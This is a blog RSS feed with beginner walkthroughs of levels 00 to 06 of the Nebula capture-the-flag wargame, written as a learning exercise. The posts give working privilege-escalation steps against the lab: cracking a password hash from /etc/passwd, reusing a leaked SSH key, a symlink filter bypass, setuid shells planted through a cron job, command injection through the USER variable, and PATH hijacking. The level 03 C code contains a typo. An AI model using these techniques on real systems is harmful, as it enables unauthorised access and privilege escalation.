<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Exploit Excercises &#8211; Graeme Robinson&#039;s blog</title>
	<atom:link href="/category/exploit-excercises/feed/" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>A place for my thoughts when I was starting to break into the information security feild</description>
	<lastBuildDate>Thu, 29 Nov 2012 23:59:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.2</generator>
	<item>
		<title>Exploit Exercises – Nebula – Level 06</title>
		<link>/exploit-exercises-nebula-level-06/</link>
					<comments>/exploit-exercises-nebula-level-06/#respond</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Thu, 29 Nov 2012 23:59:23 +0000</pubDate>
				<category><![CDATA[Brute Force]]></category>
		<category><![CDATA[Crack]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Hash]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[John The Ripper]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=215</guid>

					<description><![CDATA[Even less information about this one: The flag06 account credentials came from a legacy unix system. To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06. &#8230; <a href="/exploit-exercises-nebula-level-06/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Even less information about this one:</p>
<p style="padding-left: 30px;">The flag06 account credentials came from a legacy unix system.<br />
To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06.</p>
<p>I had a good idea what I&#8217;m looking for here, an easy to crack password hash in /etc/passwd rather than in the shadow file, so:</p>
<pre lang="Bash">cat /etc/passwd | grep flag06</pre>
<p>shows me the hash is ueqwOCnSGdsuM. I need to &#8220;crack&#8221; the hash. Time to get john the ripper on the case. At this point I didn&#8217;t have any other linux machines to hand, so I went to another tty session on this one and logged in a nebula and installed john (<strong>sudo apt-get install john</strong>). Then I ran john on the password file (<strong>john /etc/passwd</strong>) and he showed me the password. I switched over to flag06 account and the password worked as expected.</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-06/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploit Exercises – Nebula – Level 05</title>
		<link>/exploit-exercises-nebula-level-05/</link>
					<comments>/exploit-exercises-nebula-level-05/#respond</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Thu, 29 Nov 2012 23:44:00 +0000</pubDate>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=210</guid>

					<description><![CDATA[Not much information to start on this one: Check the flag05 home directory. You are looking for weak directory permissions To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05. The command &#8230; <a href="/exploit-exercises-nebula-level-05/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Not much information to start on this one:</p>
<p style="padding-left: 30px;">Check the <em>flag05</em> home directory. You are looking for weak directory permissions<br />
To do this level, log in as the <em>level05</em> account with the password <em>level05</em> . Files for this level can be found in /home/flag05.</p>
<p>The command <strong>ll</strong> (an alias for <strong>ls-alF</strong>) showed me that I had read access to ~flag05/.backup, and in there was a backup gzipped tar. Hopefully some goodies in here&#8230;</p>
<p>I unpacked the tar and found that it contained a folder called .ssh. This is used for secure shell authentication. That folder contained a private/public key pair and an authorized_keys file. The authorised_keys file is exactly the same as the public key file, so (assuming that the authorised_keys file had not been deleted since the backup) I should be able to ssh in using the private key, as long as it was not encrypted with a passphrase.</p>
<p>I copied the id_rsa file to ~/.ssh and tried to connect using:</p>
<pre lang="Bash">ssh flag05@localhost</pre>
<p>Bingo!</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-05/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploit Exercises – Nebula – Level 04</title>
		<link>/exploit-exercises-nebula-level-04/</link>
					<comments>/exploit-exercises-nebula-level-04/#respond</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Thu, 29 Nov 2012 23:28:27 +0000</pubDate>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=206</guid>

					<description><![CDATA[The information about this level says: This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂 To do this level, log in as the level04 account with the &#8230; <a href="/exploit-exercises-nebula-level-04/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>The information about this level says:</p>
<p style="padding-left: 30px;">This level requires you to read the <em>token</em> file, but the code restricts the files that can be read. Find a way to bypass it <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br />
To do this level, log in as the <em>level04</em> account with the password <em>level04</em> . Files for this level can be found in /home/flag04.</p>
<p>It also contains some source code:</p>
<pre lang="C" line="1">
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
    char buf[1024];
    int fd, rc;

    if(argc == 1) {
        printf("%s [file to read]\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    if(strstr(argv[1], "token") != NULL) {
        printf("You may not access '%s'\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    fd = open(argv[1], O_RDONLY);
    if(fd == -1) {
        err(EXIT_FAILURE, "Unable to open %s", argv[1]);
    }

    rc = read(fd, buf, sizeof(buf));

    if(rc == -1) {
        err(EXIT_FAILURE, "Unable to read fd %d", fd);
    }

    write(1, buf, rc);
}
</pre>
<p>Its fairly clear from looking at the files and the source code (I will admit I had to use a lot of <strong>man</strong> to help me understand the source code) that I want to read the contents of &#8220;token&#8221;, but the program won&#8217;t allow it. I tried things like <strong>./token</strong> and <strong>../flag04/token</strong>, but that didn&#8217;t work because the program is just searching for the string &#8220;token&#8221; anywhere in the first argument. Well&#8230; how do I get the contents of that file &#8220;into&#8221; another file without having permission to read the file? Symbolic link! Here&#8217;s what I did:</p>
<pre lang="Bash" line="1">
ln -s ~flag04/token /tmp/link
~flag04/flag04 /tmp/link
</pre>
<p>It turns out that the contents of the token file is the password for the flag04 account so I just did su flag04 and used that password. I ran getflag and violà!</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-04/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploit Exercises – Nebula – Level 03</title>
		<link>/exploit-exercises-nebula-level-03/</link>
					<comments>/exploit-exercises-nebula-level-03/#comments</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Thu, 29 Nov 2012 23:10:15 +0000</pubDate>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=198</guid>

					<description><![CDATA[The information about this level says: Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes. To do this level, log in as the level03 account with the password level03 . Files &#8230; <a href="/exploit-exercises-nebula-level-03/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>The information about this level says:</p>
<p style="padding-left: 30px;">Check the home directory of <em>flag03</em> and take note of the files there.<br />
There is a crontab that is called every couple of minutes.<br />
To do this level, log in as the <em>level03</em> account with the password <em>level03</em> . Files for this level can be found in /home/flag03.</p>
<p>Well looking in ~flag03 there is just one directory (writable.d) file and one file (writable.sh). I&#8217;m assuming that the cron job runs writable.sh every couple of minutes so I looked at that script. I can see that the script runs every file in the writable.d folder (which we have write access to), but will kill the process if it takes longer than 5 seconds. It then removes the file.</p>
<p>What we could do is make a quick bash script that will run getflag and save the output like this:</p>
<pre lang="Bash" line="1">#!/bin/sh
getflag > /tmp/getflag.out</pre>
<p>Which works (after we wait for the cron job to run it), but I want shell! So we&#8217;re going to borrow a trick from level01 and create a program that will launch a bash shell and get flag03 to set the setuid bit.</p>
<p>My C program looks like this:</p>
<pre lang="C" line="1">
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, id, gid);
    setresuid(uid, uid, uid);

    system("/bin/bash");
}
</pre>
<p>Now I just compile it with gcc and drop it in /tmp so that flag03 can access it. All I need the cron job to do now is make a copy and set the setuid bit, so here is the script I dropped in ~flag03/writable.d:</p>
<pre lang="bash" line="1">
#!/bin/sh
cp /tmp/setuidshell /tmp/setuidshell2
chmod u+s /tmp/setuidshell2
</pre>
<p>This got me a program (/tmp/setuidshell2) in that gave me shell. From here I was able to run <strong>getflag</strong>, and also to run <strong>crontab -l</strong> to see that the cron job is actually called every 3 minutes.</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-03/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title>Exploit Exercises – Nebula – Level 02</title>
		<link>/exploit-exercises-nebula-level-02/</link>
					<comments>/exploit-exercises-nebula-level-02/#comments</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Thu, 29 Nov 2012 19:12:56 +0000</pubDate>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=165</guid>

					<description><![CDATA[The information about this level says: There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level02 account with the password level02 . Files for this level &#8230; <a href="/exploit-exercises-nebula-level-02/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>The information about this level says:</p>
<p style="padding-left: 30px;">There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?<br />
To do this level, log in as the <em>level02</em> account with the password <em>level02</em> . Files for this level can be found in /home/flag02.</p>
<p>It also contains some source code:</p>
<pre lang="C" line="1">
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    char *buffer;

    gid_t gid;
    uid_t uid;

    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    buffer = NULL;

    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);

    system(buffer);
}</pre>
<p>This is similar to the Level 01. An environment variable $USER is being used to construct a string that is printed to the screen before being run. If we can edit that environment variable, we can inject a malicious command.</p>
<p>Initially I changed $USER so that running the program would execute getflag. The command I used was:</p>
<pre lang="Bash">USER=;getflag;echo</pre>
<p>I&#8217;ll break this down:<br />
<strong>;</strong> &#8211; end the command and start a new one<br />
<strong>getflag</strong> &#8211; run the getflag program<br />
<strong>;</strong> &#8211; end the command and start a new one<br />
<strong>echo</strong> &#8211; start a new echo command so that the following arguments don&#8217;t cause an error</p>
<p>This results in the following command being run:</p>
<pre lang="Bash">/bin/echo ;getflag;echo is cool</pre>
<p>I got a success message from get flag, but I wanted shell, so I changed my command to:</p>
<pre lang="Bash">USER="Opening escalated shell...;bin/bash;echo Closing pwned shell, now that"</pre>
<p>This time I got shell, and some cool text when going into the shell and when coming out (after typing exit)</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-02/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Exploit Exercises – Nebula – Level 01</title>
		<link>/exploit-exercises-nebula-level-01/</link>
					<comments>/exploit-exercises-nebula-level-01/#respond</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Wed, 28 Nov 2012 15:01:30 +0000</pubDate>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=149</guid>

					<description><![CDATA[Following on from my previous post this one is about level01 of Nebula on exploit-excercises.com. The information about this level says: There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To &#8230; <a href="/exploit-exercises-nebula-level-01/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Following on from <a title="grobinson.me: Exploit Excercises - Nebula - Level 00" href="/exploit-exercises-nebula-level-00/" target="_blank">my previous post</a> this one is about <a title="Level 01" href="http://exploit-exercises.com/nebula/level01" target="_blank">le</a><a title="Nebula - Level 01" href="http://exploit-exercises.com/nebula/level01" target="_blank">vel01 of Nebula</a> on <a title="Exploit Exercises" href="http://exploit-exercises.com/" target="_blank">exploit-excercises.com</a>. The information about this level says:</p>
<p style="padding-left: 30px;">There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?<br />
To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.</p>
<p>It also contains some source code:</p>
<pre lang="C" line="1">
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");
}
</pre>
<p>I&#8217;m not all that familiar with C (I&#8217;m more of a scripter), but I can understand enough; this appears to basically sets all uids for the process to the effective uid (presumably the setuid bit is present) and then calls a command line of:</p>
<pre lang="Bash">/usr/bin/env echo and now what?</pre>
<p>I wasn&#8217;t familiar with the env command so used a bit of googling until I learned that env is used to launch programs in a different environment. It also also sometimes used because a script needs to start with a shebang and followed by an interpreter directive, which must be an absolute path. Because some interpreters are not always installed at the same location, env is sometimes used to launch the correct interpreter by file name rather than full path (e.g. <strong>#!/usr/bin/env/ python</strong>). To do this, env searches through the list of paths in in the environment variable $PATH in order until it finds a correctly named file that it can execute in one of them. Presumably (for some unknown reason) env is being used here to invoke echo, but it means we can make a different echo program run by creating a malicious script and changing $PATH to point to it first.</p>
<p>I changed the path to include /tmp at the beginning by running the follwing command:</p>
<pre lang="Bash">PATH=/tmp:$PATH</pre>
<p>and then created a new symbolic link called echo to the getflag program:</p>
<pre lang="Bash">ln -s /bin/getflag /tmp/echo</pre>
<p>Now when I ran the vulnerable program I got a success message, but I wanted to go one further. I wanted shell&#8230;</p>
<p>I tried creating a symbolic link to bash, but now running flag01 failed due to the invalid arguments (&#8220;and now what?&#8221; are valid arguments for echo, but not bash), so I removed the symbolic link and created an executable shell script that ignored all arguments, and saved it as echo in /tmp. It contained the following two lines of code:</p>
<pre lang="Bash" line="1">
#!/bin/bash
/bin/bash
</pre>
<p>This, I hoped, would cause the vulnerable program to spawn a shell. I tested it and it worked. I then ran <strong>whoami</strong> to confirm that I was flag01 and then <strong>getflag</strong> to get a success message.</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-01/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploit Exercises &#8211; Nebula &#8211; Level 00</title>
		<link>/exploit-exercises-nebula-level-00/</link>
					<comments>/exploit-exercises-nebula-level-00/#comments</comments>
		
		<dc:creator><![CDATA[Graeme Robinson]]></dc:creator>
		<pubDate>Wed, 28 Nov 2012 13:42:15 +0000</pubDate>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Exploit Excercises]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>
		<guid isPermaLink="false">/?p=143</guid>

					<description><![CDATA[I&#8217;ve started to have a look at the challenges offered by exploit-exercises.com and thought I&#8217;d document my progress. This post is about Nebula Level 00. The information about this level says: This level requires you to find a Set User ID program that will run &#8230; <a href="/exploit-exercises-nebula-level-00/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>I&#8217;ve started to have a look at the challenges offered by <a title="Exploit Exercises" href="http://exploit-exercises.com/" target="_blank">exploit-exercises.com</a> and thought I&#8217;d document my progress.</p>
<p>This post is about <a title="Nebula Level 00" href="http://exploit-exercises.com/nebula/level00" target="_blank">Nebula Level 00</a>. The information about this level says:</p>
<p style="padding-left: 30px;">This level requires you to find a Set User ID program that will run as the &#8220;flag00&#8221; account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.<br />
Alternatively, look at the find man page.<br />
To access this level, log in as level00 with the password of level00 .</p>
<p>This is a pretty simple challenge, but did mean I had to learn all about normal unix filesystem permissions and the more advanced setuid/setguid/stickybit permissions I also learned how to suppress errors from the find command and how to better use the find and man command.</p>
<p>The command I used was</p>
<pre lang="C">find / -perm -u=s 2>/dev/null</pre>
<p>I&#8217;ll break down what this does:</p>
<ul>
<li><strong>find</strong> &#8211; search for files in a directory hierarchy</li>
<li><strong>/</strong> &#8211; start at the root of the filesystem</li>
<li><strong>-perm -u=s</strong> &#8211; find files that have the setuid bit set in their permissions</li>
<li><strong>2&gt;/dev/null</strong> &#8211; discard all errors (mostly about not having permission to scan directories)</li>
</ul>
<p>One of the results was <strong>/bin/&#8230;/flag00</strong>. This (<strong>&#8230;\</strong>) is a suspicious looking directory! Running <strong>ll /bin/&#8230;/flag00</strong> showed me that the owner was flag00 and the setuid bit was indeed set so I ran the file which told me to now run getflag then changed the user to flag00. Running <strong>getflag</strong> gave me a success message.</p>
<p>What I liked about this was that I had a shell running as the flag00 user so I could run other commands like <strong>whoami</strong> before typing <strong>exit</strong> to get out of the shell. At the time, I had no idea how I was put into a new shell, but it all becomes clearer in the next level&#8230;</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploit-exercises-nebula-level-00/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
